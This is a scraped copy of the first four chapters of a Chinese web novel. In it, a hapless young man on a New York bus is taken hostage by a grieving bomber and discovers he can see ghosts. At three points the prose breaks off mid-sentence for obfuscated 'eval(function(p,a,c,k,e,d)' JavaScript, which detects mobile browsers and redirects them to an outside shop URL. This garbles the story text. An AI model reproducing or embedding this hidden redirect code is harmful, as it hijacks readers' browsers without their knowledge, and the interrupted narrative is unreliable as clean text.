《[综英美]今天又是好运的一天》 1. 第 1 章 六点钟,44路公交车准时在转弯处出现,自东向西背着朝阳缓缓驶来。郝运心下一松,拉开反背在胸前的双肩包,再次做检查,确定没有遗漏任何必要的东西。拉链拉上的一瞬,44路公交车稳稳停下,前门非常完美正对郝运。 踏上公交车前,郝运扭头望一眼红彤彤的太阳,忍不住眯了眯眼睛:公交车准时准点到达,提前两小时出发,甚至反复做过五次踩点,定了三个应急预案,临上车前又幸运地碰上这样绚丽的景致,上班第一天应该不至于迟到吧?心理揣着事儿,动作便有些慢。胖司机丢来一个不耐烦的白眼,关门踩油门一气呵成。郝运一个趔趄,眼疾手快抓住门边的把手,这才避免脸朝地的悲剧。胖司机从鼻孔里哼了一声,带着没有得逞的不快。 郝运低着头,把鸭舌帽往下按按,只留下秀气的下巴,一副不准备多事的姿态。隔着低低的帽檐,朝车内一扫,意料之中的满满当当。公交车的座位从来没他的份儿,郝运并不失望,相中车厢中央的扶手,一步一步慢慢挪过去。不死心往后排瞄一眼,被一个大块头挡住的最后一排,竟还空着一个靠窗的座位。郝运心里一喜,天然上翘的唇角往上弯了弯,更像一弯浅月。从出生起就被老天爷特殊关照,今天这位大爷大概睡得正香,暂时放他一马。郝运迈着愉快的步子,在最后一排站定。 不过,坐在外边、同样也带着一顶鸭舌帽胡子拉碴的哥们似乎不太配合,紧紧抱着怀里的黑色双肩包纹丝不动,露出的半张脸看起来恶狠狠的。坐还是不坐,郝运犹豫了。争取了不一定有,说不定还会惹出一串麻烦,但不争取一定没有。整整二十四年,郝运从来没享受过公交车的硬座。尽管这个座位灰扑扑脏兮兮,郝运却一点儿也不嫌弃,反而觉得它可爱极了。要知道到公司可是将近一个小时的路程,如果坐下来,他便可以舒舒服服补上一觉,精神抖擞地迎接第一份正式工作。 “快来坐呀,快来坐呀!”郝运仿佛听到了小可爱的热情邀请。今天这个位置无论如何一定要拿下。郝运一面给自己打气,一面扬起笑容,拿出十二分的客气,温声提醒:“您好,麻烦让一让。”帽檐底下投上来的瞪视恨不得吃人。郝运神色不变,好脾气地建议道:“要不您坐里边?” 不好惹哥们紧绷的嘴唇略显扭曲地蠕动着,大概在嘟囔什么,声音太小,郝运听不清。最终,不好惹哥们小心翼翼抱着怀里的大黑包,不情不愿让开位置。郝运顺着空隙溜进去,全程没碰到不好惹哥们一片衣角,灵巧地活像只小猫,这得感谢郝妈妈小巧玲珑的身形,儿子普遍随妈。郝运幸福地倚着靠背,窗外绿化带的小灌木不断往后倒退,没一会儿他便接连打起哈欠。闭上眼睛前,郝运给自己定好六点四十的闹钟,不放心又追加两个。 彻底陷入黑沉前,郝运还分出心神,美滋滋做了一番小安排:顺利的话,七点零五可以到达公司,他可以在楼下的咖啡店,美美享受一顿早餐,看看新闻,在八点半时从从容容踏上电梯。即便堵车也不怕,他特意留出两个小时,有足够的时间改换其他线路。 很快,老天的今日份仁慈施舍完毕。公交车猛地一个转弯,郝运被迫脱离补觉的惬意。眨眨迷蒙的双眼,半晌才反应过来,他整个人正以一种诡异的姿势趴在不好惹哥们的黑色双肩包上。郝运手忙脚乱正要爬起来,公交车又是一晃,整个人再次投入不好惹哥们的怀抱。现在的视角,恰好可以看到不好惹哥们眼睛里闪烁的诡异光芒,似乎还带着三分狰狞,两分残忍。 郝运心里一激灵:按照常年倒霉的经验,这哥们十有八九有问题。这么小心翼翼护着怀里的包,不会装了什么不该装的东西吧?在不好惹哥们虎视眈眈的盯视下,郝运非常勇敢地动了动爪子。一排排管状物,手感简直不要太明显。次奥,真是怕什么来什么,他为什么这么手贱!!!冰凉坚硬的尖状物抵上腰间,郝运不禁打了个寒战,这下是一动也不敢动了。 这种危机关头,一出生就是个小倒霉蛋儿,历经二十四年风风雨雨,长成大倒霉蛋儿的郝运,别的本事没有,应付突发紧急事件的勇气还是够用的,甚至称得上淡然处之。不过,这还是他第一次遇到电视里才会发生的情节,说不紧张那是假的。 郝运努力挤出一个讨好的笑容,用两人才能听见的声音:“老兄,我不是故意的,我发誓。”说着,还眨眨眼,希冀不好惹哥们能看到他眼里的真诚与无辜。也不知道这家伙是准备带着公交车一起玩完,还是把公交车当代步工具。郝运很快否定了第二种可能,没有哪个脑残的家伙会用堪比沙丁鱼罐头的公交车运送炸/药/包。炸车,嘶……报复社会?恐怖袭击?博人眼球?郝运脑海里一瞬间冒出无数可能的理由,手心里冷汗直冒。 不好惹哥们咬牙切齿:“狗条子,这里边装着什么,不用我多说。老实坐好,别耍花样,除非你想一车人跟着你陪葬。” “……”这人从哪看出来他是警察?他这样柔弱的体格,警察学校根本不收的,好吗?!郝运心里吐槽归吐槽,身体很听话地慢慢挪回原位。两手始终保持在不好惹哥们视线范围内,绝对没有任何作死的动作。等他回神时,脖子一阵刺痛,也不知不好惹哥们怎么动作的,匕首已经从腰间换到脖子。位置很妙,刀尖随着颈动脉的每一次跳动而发生着微小的移动。 不好惹哥们左手搂着郝运,右手护着怀里的双肩背包,外人看来俨然一副哥俩好的模样。有些不明真相的人,甚至可能会怀疑两人的关系。毕竟两人一黑一白,都带着鸭舌帽,背着大大的黑色双肩包,很难不让人误会。 郝运大概扫了一眼车厢,睡着这一会儿,已经换了一波人,车厢中央零星站着四五个人,没记错的话,他们刚才都是坐着的,看样子是把座位让给有需要的人。没想到,一辆车里竟然有这么多主动让座的人。果然是好人不长命啊。郝运哀叹一声,在心里冲老天比了个中指。 郝运等啊等啊,公车行了两站,不好惹哥们仍不见动作。每次车门打开的时候,郝运就会产生大吼一声的强烈冲动:“有炸/弹。”可是,人的速度怎么比的上炸/弹爆炸的速度?车上的大概率团灭,还没上车的,不死也是重伤。路上的车渐渐多起来,天知道会波及多少无辜的人。思来想去,只能眼睁睁看着一无所知的人们上上下下。那些下车的人不会知道,刚才已经在鬼门关里走了一遭;这些刚上车的人,暂时还不知道一只脚已经踏进鬼门关。郝运将冲动混着唾液艰难咽下,喉咙口干的发疼。 公车晃晃悠悠再次启动,眼见不好惹哥们依旧不动如钟,郝运狂跳不已的心脏稍稍安分了一点。难道这哥们不是要炸车?或者是要在特定的位置再炸?又或者真正的目标对象还没上车?还有他为什么会被误会成警察?郝运不是坐着等死的性子,哪怕要死,也要做个明白鬼,不能这么不清不楚的嗝屁。 于是,郝运大着胆子,试探着低声解释:“大哥,你看我这么年轻,怎么可能是警察?”郝运本就长得脸嫩,若不是身上比同龄人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035252|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了份被老天反复操练的稳重淡然,没人相信他已经二十四岁。自从十八岁踏上美利坚的土地,他在陌生的外国人眼里,永远未成年。郝运为此苦恼不已,从没想到有一天会主动利用这张嫩脸。 不好惹哥们冷冷斜睨着郝运,不上当:“你是亚洲人。” “……”郝运不知该哭还是该笑。不过,这哥们貌似也不像表面这么凶狠,郝运的胆子又大了一点儿。“大哥呀,你怎么会认为我是警察呢?我小命都捏在你手里,你总得让我死个明白吧?” 不好惹哥们警惕地看看四周,周围的乘客要么在打瞌睡,要么专心玩手机,没人注意这边的动静。“前面好几个空位你不坐,非要坐我旁边,我一眼就看出你是冲着我来的。”不好惹哥们没说出口的是,你身上这份处变不惊的气质,绝对不是一个普普通通的小年轻所能拥有的。 Excuse me?大哥说的话怎么有点听不懂啊?明明只剩下这一个位置!郝运懵圈了。 郝运的反应成功让不好惹哥们误会,他以为自己一语命中关键,想着时间还早,顺口将心里的疑惑问出来。“你们怎么发现我的?”他自认为从购买到制作的过程万无一失,没想到警察的鼻子比狗还灵。难道有人无意间发现报了警?不过没关系,警察来了更好。 “……”这哥们还是把他当警察。 “你有几个同伴?”不好惹哥们扫了一眼车厢,把郝运箍得更紧了。 “……”郝运简直要绝望。匕首尖正对颈动脉,公车只要来个小小的转弯,他大概就要见不到今天的落日。次奥,这操蛋的运气! 公车又一次停下,没有人下车,郝运不禁为全体乘客默哀;也没有人上车,郝运忍不住庆幸少一个枉死者。可是,一个金发碧眼的妹子竟以百米冲刺的勇猛气势从车前方赶过来,在车门即将关上的一刹那,呲溜一下窜上车。 “……”妹子,又不是着急投胎,赶下一辆不好吗?金发妹子卡也不刷,只顾闷头往后车厢冲,司机师傅竟然也不提醒。 这么漂亮的妹子,好可惜。郝运脸上的同情之色越来越浓,他用眼神暗示妹子别过来,妹子压根不睬他,直奔到不好惹哥们身边,焦急地嚷开了:“弗兰克,别做傻事。现在停手还来得及,求你……”金发妹子说着说着,大颗大颗的眼泪连成串从腮边滑落。 感情这妹子和不好惹哥们认识,但是妹子,劝人可不是这么劝的,尤其是劝一个炸/弹/犯。还有不好惹哥们,你对着这么一个梨花带雨、满脸恳求的漂亮妞,竟然无动于衷,是几个意思?还有周围的人也太不爱凑热闹了吧?这么大的动静,怎么就不扭头看看呢?不过,车厢几个站着的人,倒是凑到一起窃窃私语起来。 郝运觉得有必要帮妹子一把,清清嗓子,正要说些什么,却看见妹子的手直接从不好惹哥们胳膊上穿过。郝运望着妹子,瞳孔震惊了。然后,更让郝运掉下巴的事情发生了,那几个站着的乘客争先恐后凑过来,在狭窄的过道上几乎挤成一团。他们满脸稀奇,仿佛看大猩猩一样对着郝运指指点点。其中一个打扮的像只花蝴蝶似的中年男人,翘着兰花指指着郝运,得意洋洋地说:“我没说错吧?他看得见我们。” “……”大哥大姐们,我不该看到你们吗?我现在自戳双目还来得及吗?眼前这重重叠叠挤变形的围观群众,绝不是正常人。他这是大白天撞鬼了?不不不,这不可能,他一定是在做梦。郝运自欺欺人地闭上眼睛,整个人彻底麻了。 2. 第 2 章 围观群众们不乐意了,对着郝运你一言我一语,七嘴八舌叫嚷起来。郝运只觉耳边上演着几十台大戏,吵得脑仁都快裂开了。不好惹哥们也跟着凑热闹,在郝运耳边咬牙切齿地说:“你以为你闭上眼睛,我就看不出来哪些是你的同伴?门口那两个,还有我右边这一个——” 郝运不耐烦地睁开眼睛:“弗兰克。” 不好惹哥们,也就是弗兰克一愣,很快,他轻哼一声:“名字都查清楚了,还说不是警察?” 先是炸/药/包,紧接着大白天撞鬼,还不止一只鬼,老天爷果然是逮着他一个溜。小时候吃奶差点呛死,掉下水道差点淹死,长到这么大不知道闯过多少回鬼门关,这次不就是一包炸/药,几个外国鬼吗?就不信老天爷舍得把他玩死。郝运,颇有点破罐子破摔的意思,小心脏也不再上蹿下跳,像个小恶魔似的对着弗兰克耳边低语:“如果我告诉你,你身边正站着一个金发碧眼,脸上长着几粒可爱小雀斑的漂亮妹子,是她说你叫弗兰克,你信吗?”说着警告地望了一眼几个叽叽喳喳叫不停的围观鬼,示意他们闭嘴。 鬼鬼们好不容易碰到一个可以看见他们,听到他们说话的人,简直要把郝运奉做神明,哪敢不听话。一个个排排坐到椅背上,晃荡着双脚,要多乖有多乖。耳根终于清净了,郝运差点喜极而泣。 弗兰克手一抖,只需要再稍微加一丢丢力道,匕首就会刺破郝运脆弱的皮肤。但他很快意识到,警察想查一个人,不过是分分钟的事。这是他心中的痛,他所做的一切都是为了她。这个狗娘养的警察,不该拿他最宝贝的人开玩笑。手上的力道不由得加重,匕首尖刺破娇弱的皮肤,鲜血顺着细白的脖颈缓缓涌出。 “嘶……”郝运倒吸一口凉气,伸出两根指头,小心翼翼把匕首往外推了两寸。“老兄,小心点,刀子不长眼睛,割破动脉,我保证你会后悔一辈子。” 弗兰克眼神一暗。是的,他忍耐了这么久,做了这么多准备,马上就要成功了,要沉住气,不能在临门一脚的时候前功尽弃。 郝运也着实捏了把冷汗,看到弗兰克情绪暂时稳定下来,不由得长舒一口气。生死攸关,郝运也不能装作没看见这几个外国鬼了。眼前这个哭的上气不接下气的金发妹子,说不定就是症结所在。既然老天突然把与鬼魂沟通的能力赏给他,他也只好勉为其难接受了,先渡过眼前这关再说。 “弗兰克,我知道,现在还没到你动手的最佳时机。你也不想我嚷出来,所以,接下来无论我说什么,你听着就好,不要太激动,也不要反驳。事到如今,实话告诉你,我不是警察,但我确实冲你而来。我有沟通鬼魂的能力,有人……”郝运说着看了金发妹子一眼。 金发妹子很聪明,赶紧自报家门:“珍妮。” “珍妮找到我,请求我阻止你做蠢事。”郝运根本不给弗兰克说话的机会,小嘴不停:“别下意识反驳,这个世界有那么多拥有特殊能力的超级英雄,不过是跟鬼魂沟通,也没什么不可能吧?”想当初,他刚下飞机,看到电子屏上满天飞的超级英雄,嘴巴张的差点脱臼。 弗兰克喘着粗气,不可置信地顺着郝运目光所在的方向望去,那里空空如也,什么也没有。要不要相信?他都没来得及和他的珍妮告别。他多想和珍妮再说说话,哪怕一句也好。如果这人没有骗他,他宁可放弃这次行动,也要和他的珍妮再见一面。这家伙能和鬼魂沟通,应该也有办法让他见到珍妮吧?弗兰克扭头望着郝运,希冀中带着祈求。 “……”突然觉得压力好大。郝运顶着弗兰克火一般的注视,冲金发妹子点点头,示意她有话赶紧说。 接下来郝运把自己代入同声翻译的角色,不过他是一字一字重复珍妮的话。“珍妮让我告诉你,她知道你是为了给她报仇,但她不想牵连无辜,现在收手还来得及。” 弗兰克显然不满意这样的说辞,情感上他巴不得这是真的,理智上却又觉得太过荒谬,手中的力道不由得紧了紧。“证据。” 郝运询问地望着珍妮。珍妮一时间竟想不出什么有力的证明,急的直打转。弗兰克呼吸一重。郝运赶紧提醒:“只有你们俩才知道的事情,可以吗?”珍妮眼睛一亮。 “珍妮说,她知道你把求婚戒指藏在沙发垫子底下。”马上就要迎来人生最幸福地时刻,却突然天人永隔,实在不能不让人痛惜。女孩惨死,男孩带着炸/药/包去报仇,这中间一定有一个非常悲惨的故事。 弗兰克握着匕首的手抖得不成样子,吓得郝运心肝乱颤。“大哥,别忘了你怀里揣着什么?” 弗兰克胡乱用右手擦掉眼泪,对着珍妮所在的方向几乎是喃喃自语:“我不会伤及无辜,但我一定要让害了你的罪归祸首付出代价。” “……”哥呀,你抱着炸/弹一脸坚定地说不伤及无辜,谁信呀。郝运苦口婆心劝道:“下一站,我们一起下车,我陪你去自首,你把珍妮死亡的真相告诉警察,法律会让坏人得到应有的惩罚。” 弗兰克满脸苦涩,绝望地低吼:“你以为我没有报警吗?警察查来查去认定是意外坠楼,反过来说我报假警、诽谤、诬告,还不是那人有钱有势有关系。那样一个坏到骨子里的家伙,不解决他,不知道以后还有多少受害者。” 郝运沉默了,金发妹子的表情也告诉他,弗兰克并不是没有根据的凭空猜测。去自首,弗兰克很可能白忙一场,不仅把自己搭进去,珍妮的仇也报不了。换作是他,也不会干这种赔本买卖。既然自首不了,那只好……可是,这样真的好吗?郝运不由得犹豫起来。 时间不多了,珍妮在旁边急的不得了,一个劲儿地拜托郝运:“请您赶紧想想办法,再有两站就是弗兰克的目的地。” 还真是时间不等人。郝运暗自咒骂一声,定定神,才道:“弗兰克,让其他乘客在下一站全部下车,我配合你做人质。” 弗兰克却摇摇头:“等到了地方,我就会下车,不牵累一个人。” “愚蠢。珍妮难道不恨罪魁祸首吗?难道不想报仇吗?她阻止你,是因为她爱你,不想你为了她白白搭上一条性命,你个大傻瓜。”郝运恨不得摇醒这个笨家伙。 公车缓缓驶入站台,不行,不能再拖下去了。“我有办法帮你,让你的仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035253|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身败名裂,得到应有的惩罚。”虽然来不及询问个中详情,但郝运大概也猜到一些。他现在心中已有打算,只是不确定有几分把握,但也绝不是信口哄人。“相信我,让他们下车。别忘了你身上有什么,我除了能和他们交流,就是个弱不禁风的普通人,玩不出什么花样。” 弗兰克有所动摇,却还是犹豫不定。郝运咬咬牙加一剂猛药:“我知道你不怕死,可是你想想,你炸得血肉横飞,怎么去见珍妮?真要殉情,等报完仇,有多少体面干净的死法不能选?珍妮说了,你要是不听我的,她马上就去找个鬼男朋友,你死了也不给你机会。我面前就坐着两个帅气逼人的男鬼,你可要考虑清楚。”两个称不上磕碜,但和帅气绝不沾边的男鬼,喜得在郝运面前飘来荡去,简直没眼看。 大招一出,弗兰克顶不住了,他不得不考虑这个问题。终于,他下定决心:“好,让他们下车。” 郝运心下一松,把弗兰克的手臂绕在脖子上的手臂紧了紧,不放心地确认道:“老兄,你包里这东西安全吗?” 弗兰克自信地拍拍大黑包:“放心,不见到罪魁祸首,绝不会有一点儿响动。” 郝运小心肝吓得乱颤:“大哥,你悠着点。”弗兰克讪讪移开手。伴随着两声哐当,前后门打开了,郝运扯着嗓子:“快下车,有炸/弹。”尾音直接破了。 醒着的扭头锁定声音来源,不耐烦地瞪罪魁祸首一眼,又低头沉浸在手机上。睡着的忍不住骂骂咧咧:“脑子有病回家发去。” 大哥大姐们我舍下一身剐,好不容易说动危险份子放你们一条生路,不感谢我就算了,怎么还骂人呢?郝运无语凝噎。 弗兰克安慰地拍拍郝运的肩膀,递给他一个交给我的眼神,默默摸出一把小巧的手/枪,抵住前排一颗棕色的大脑袋:“不下车就一起陪葬吧。”这位正好是刚才骂人团队的一份子。 “都赶着上班,搞什么恶作剧!”胖司机扭头训斥起来,等他看见那黝黑的小玩意,不耐烦的表情瞬间变为惊恐。刚上车的乘客发出尖锐爆鸣,连滚带爬逃下车。 “要命的还不快滚!”见有人吓得不敢动,弗兰克只好恶声恶气驱赶起来。 话音刚落,满车乘客争相逃窜。司机正要开门逃命,弗兰克将枪/口对准他,狠声道:“司机留下,除非你想尝尝脑袋开花的滋味。”说着又踢了一脚前排抖成筛糠的棕色大脑袋,“你想留下一起?” 棕色大脑袋用一种极其诡异的姿势冲到车门口,似是力气用尽,任由自己整个人摔出去。 “……”还真是准备齐全。郝运向司机大叔投去同情的眼神。 司机已经探出车外的半个身子战战兢兢缩回来,抖着手去系安全带,结果半天也没系上。 “别耍花样,想想明天的太阳!”弗兰克言语间满是炸/弹/犯该有的威慑力。 司机擦擦脑门上汹涌彭拜的汗珠,哆哆嗦嗦关上车门,踩下油门。公车摇摇晃晃重又启动,街上满是惊慌失措四散奔逃的人们。 嗐,一不小心逞了个英雄,但愿不要翻车。郝运又一次瘫在座椅上。 3. 第 3 章 司机看不到后排的动静,弗兰克收起匕首,注意到郝运脖子上的血迹,低声歉然道:“抱歉,我没想伤害你。” 郝运不在意地挥挥手,比了个嘘的姿势,示意弗兰克小心说话,毕竟车上还有第三人。警车的呼啸声越来越近,郝运打起精神,伸手迅速把旁边的遮光帘拉上。 “你说你有办法——” 郝运打断弗兰克,低声道:“命令我把公车的遮光帘全部拉上。”这么做一方面是保护弗兰克,更多的是郝运担心倒霉体质发作,子/弹拐个弯飞到自己身上。 弗兰克立马明白郝运的担心,站起身恶声恶气命令道:“去,把帘子拉上。” 郝运满脸惊慌,从后往前把遮光帘拉得严严实实,不留一丝缝隙。无意间和司机师傅的目光在后视镜上相遇,郝运故意装出一副胆战心惊的模样,两人瞬间有了同病相怜之感。 等郝运拉上最后一道遮光帘,弗兰克立即吼道:“磨磨蹭蹭干什么,还不滚过来?!” 人与人呐,不怕惨,就怕比。司机师傅突然觉得炸/弹/犯对自己还算客气,竟对郝运的处境同情起来。 郝运瑟缩一下,苦着脸不情不愿挪回最后一排。 弗兰克立马抓住郝运,低声问道:“接下来该怎么办?” “……”你一个绑架者,这么大咧咧地问一个被绑者接下来怎么干,真的好吗?幸好这是辆老式公交车,没装监控,否则郝运真怕自己面皮绷不住,事后被看出端倪。 郝运清清嗓子,才道:“直播。要求警察安排记者过来,做独家采访,把那家伙的罪行公之于众,闹得越大,关注的人越多越好,警察迫于舆论压力一定会重启调查,给公众一个满意的答复。即便不能给他定罪,经过媒体渲染,他的名声臭了,恐怕比直接杀了他还要难受一百倍,也算间接报仇。况且,那样的家伙,我不相信他手里只有珍妮一个受害者。我想,如果其他受害者看到这次直播,说不定会有人鼓起勇气站出来指控那家伙的罪行。” 金发妹子双手抱在胸前,一脸敬佩地看着郝运。郝运不由得脸上发烫。虽然人鬼殊途,妹子又名花有主,不妨碍郝运享受这种被崇拜的感觉。嗐,男人的劣根性啊! 弗兰克沉默了一会,唇角泛起苦涩:“是个办法。可是我们怎么保证过来的记者不是警察假扮的?即便是真的记者,又怎么保证这场采访顺利直播出去?万一警察糊弄我们——” 郝运略带得意地挑挑眉:“老兄,你不是一直怀疑我的身份吗?我其实是太阳日报的记者,我的主编是一位天不怕地不怕敢于同恶势力斗争到底的女汉子。只要跟她打通视频,哪怕她现在在地球的另一端,也会立马飞过来。只要她来了,我保你来场全美直播。”至于他是第一天上班这种小事,就没必要特别说出来了。郝运不完全是在帮弗兰克,他还在尝试抢救岌岌可危的工作,希望主编看在第一天就给报社送上一个大新闻的份上,原谅他上班第一天迟到。生活真是太不容易了,呜呜呜…… 弗兰克心下一定,新的担忧立马又涌上来:“可是,我毕竟把炸/药带到公车上,惊吓到那么多人,人们还会为我这个罪犯说话吗?” 哥呀,你终于意识到携带炸/药/包上公车的危险了?郝运心里止不住吐槽,面上却安慰道:“这就是为什么我让你把其他人放下车。大家虽然受了惊吓,回过头会意识到你其实是迫不得已,求告无门,只能采用这种极端的方式来申诉冤情。你只是想恶人受到应有的惩罚,从来没有想过牵连无辜。采访的时候把这些想法说出来,越真情流露,人们越会同情你。” 弗兰克郑重点点头。 “事不宜迟,我这就联系主编。”郝运掏出手机,在按下视频通话键之前,不放心地交代道:“别忘记你的另一重身份,只要没有满足你的要求,随时可能按下引/爆/器。还有千万要记住我是你的人质,必要的时候打我几下也没问题,不用手下留情,万一被镜头捕捉到……你懂得?” 弗兰克表示明白。这人不计前嫌,不顾危险,留下来帮他报仇,他不会恩将仇报。 此时警车越逼越近。后边两辆警车紧紧咬住公车屁股,左右各有一辆警车包抄上来,试图逼停公车。大喇叭不断传来一道镇定的男声:“车里的人听着,你已经被包围了,马上停车,释放人质。马上停车,释放人质。” 司机满头大汗,慌慌张张:“前边有路障,怎……怎么办?” “冲过去。”弗兰克沉声命令道。 “可是——” “我要到布莱恩大厦,只要把车开到大厦楼下,你就可以下车了,否则……” 只有一公里的路。司机咬咬牙,一脚把油门踩到底。刚才这人放了那么多人下车,应该不会说话不算话吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035254|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砰的一声,公车撞开路障,从两个挥旗拦截的警察身边险险擦过。前边的车早就被交警清理干净,一路畅通,司机不松油门,恨不得下一秒就飙到布莱恩大厦。 接下来考验演技的时刻到了,想想还莫名有点刺激。郝运一手按上又开始砰砰直跳的小心脏,一手按下通话键。 视频响了三声便通了。一个披头散发满脸怨念的女人坐在床上,眼含杀气,那样子恨不得顺着电话线爬过来,掐死打扰她清梦的罪魁祸首。老板的气场太过强大,这下不用演了。郝运紧张地咽咽口水,颤巍巍道:“主编,我被炸/弹/犯劫持了,他要求独家采访,要全网直播,不然……不然就炸了公交车。” 女人摸摸索索在床头柜上找到眼镜戴上,看清视频画面的一刹那,哪还有半点起床气,迅速起身。“地点。” “布莱恩大厦。” “给我半个小时,不,二十分钟。”女人的回答极为简短,已经在收拾出门的东西。 “主编,你快点来,我——” “费什么话!”弗兰克狠狠拍了郝运一巴掌,冲着手机叫嚣道:“我给你十五分钟,晚一秒就等着给他收尸吧。记住,只能你一个人来。”说着还冲镜头挥挥手/枪。 女人不见一丝慌张,不卑不亢道:“我和一个摄影师。” “除非你不想要这场独家采访。” “好,我一个人,十五分钟。”女人略一停顿,才补充道:“无论你想说什么,我都会帮你传达给公众,别伤害那孩子。”视频的最后一个画面,女人已经提着手提包准备出门。 嗐,没想到冷冰冰的主编也有人情味的一面。郝运知道女人一定会来,但没想到会说出“那孩子”这样的话,不禁升起感动。长达六年异国他乡的孤独生活,郝运被一句简单的“那孩子”整得有点破防了,决定忘掉面试时那些劈头盖脸甚至令人难堪的刁难。 “怎么样,我刚才表现还不错吧?”弗兰克颇有些巴巴求表扬的意味。 “……”郝运摸着隐隐作痛的后脑勺,半晌,才幽幽道:“万一十五分钟后,她没能赶过来,你准备怎么办?” 弗兰克窘迫地搔搔头,好不容易才憋出一句:“再等五分钟?” “……”郝运突然觉得给自己挖了个大坑,等这哥们被警察盘问的时候,不会把他供出来吧?不行,趁还有时间,得赶紧对对口供。 4. 第 4 章 警笛声越来越密集,越来越尖锐,听起来不断有警车加入追击。最后的一公里,几乎每隔两三百米就设有一个路障。所幸司机师傅是行家好手,在围追截堵之下,一次次甩掉包抄,冲开路障,以飞跃太平洋的势头向目的地猛冲。 当然也是因为据说车上有炸/弹,警方不敢全力逼停,担心惹毛犯人,车上两个人质还有追击的警察全都玩完。而层层路障,警车的紧密围随,甚至于大喇叭的循环喊话,更多的是试图给犯人制造心理压力,万一承受不住说不定就主动停车投降。不过,警方的打算注定要落空。 警方接到报警的时候,联邦调查局、交通安全管理局、烟酒枪/支/爆/炸物管理局、纽约州警察局、纽约市警察局多部门第一时间联合出动,特警、狙击手、排爆组、交警、谈判专家、州警、市警、区警几乎倾巢出动。 但是到目前为止,警方只知道44路公交车被人劫持,劫犯身上有炸/弹,手里有枪,车内有两名人质。为什么知道有炸弹,是因为在公车到站开门时,有人拼死吼了一声,提醒乘客下车。据几个逃下来的乘客反映,先是有人出声提醒有炸/弹,大家起先以为是恶作剧,直到劫犯掏出手/枪。 劫犯身穿黑色卫衣,头戴黑色鸭舌帽,怀里有一个大大的黑色双肩包,坐在最后一排靠过道的位置,看不清样貌。人质身穿白色卫衣,头戴黑色鸭舌帽,怀里也有一个大大的黑色双肩包,坐在劫犯身边,同样看不清样貌。至于劫犯什么时间上车,人质什么时间上车,有没有什么引人注意的特别特征,一问三不知。 一般来说,携带炸/弹无非有几个目的:抢劫、报仇、报复社会、恐怖袭击、博人眼球。劫持公车,显然可以排除抢劫。大部分乘客得以逃生,报复社会与恐怖袭击差不多也可以排除;如果是这两类目的,在人质出声提醒的时候,公车早就炸了,警方赶到现场见到的只会是血肉横飞、遍地残骸,听到的只是痛苦哀嚎。排除不可能项,剩下的就是可能。 如果是报仇,白衣人质很有可能就是劫犯的仇人。那释放其他乘客的目的显而易见,劫犯人性尚存,不准备牵连无辜。但是单纯的报仇,有必要这么大费周章吗?想杀一个人,方法多得是,携带炸弹是下下策选择。难道是想拉着仇人一起陪葬?虽然这种可能性很小,但很多时候不能用正常思维代入劫犯,警方暂且将其作为一种不太可能的可能。 还剩下博人眼球。这就要看是纯粹的博人眼球,还是带有目的的博人眼球。前者只是为了制造混乱、恐惧,吸引大众关注,享受被大众畏惧、崇拜甚至于咒骂的感觉。后者则是借由劫持公车所引发的轰动效应,达到某种诉求,劫犯或许在工作生活中被不公平对待,或许想要向大众揭露恶行,或许为了表达某种不被人们普遍认可的观点,或许只是为了求爱,甚至是为了解救被关在监狱里的同伴…… 多方考量,各局负责人更倾向于博人眼球。但是,释放乘客这一点却又与这一行为相互矛盾。人质就像赌徒手里的筹码,人质越多,手里的筹码越多,底气越足,越有利于吸引公众视线或者表达诉求。警方也只会更加投鼠忌器,不敢轻举妄动。除非,这是一场自导自演的表演。炸/弹是假的,甚至所谓的白衣好心人质根本就是这起公车劫持事件的参与者。放其他乘客下车,不过是担心人多势众,万一乘客集结起来反抗,他们无力招架。这么一来,逻辑似乎通了。 警方现在也只能通过排除法作出一些相对合理的推测。黑衣劫犯和白衣人质的描述太过笼统,这样的人,在街上随便一抓就是一大把。到目前为止,路障拦截处的警察透过车前玻璃那匆匆的一瞥,无人机拍摄的影像,不过是从蓝色塑料椅背上探出的两顶黑色鸭舌帽,一黑一白两道身影,倒是把满头大汗、面目狰狞的司机拍得一清二楚。 司机的祖宗八代都被调出来,资料正在各局现场指挥官的手里,结论如下:这就是一个本本分分开了一辈子公交车,再有半年就要退休,马上安享晚年的老实人。而对于黑衣劫犯、白衣人质的调查根本无从下手,更不用说去佐证所谓的推测。 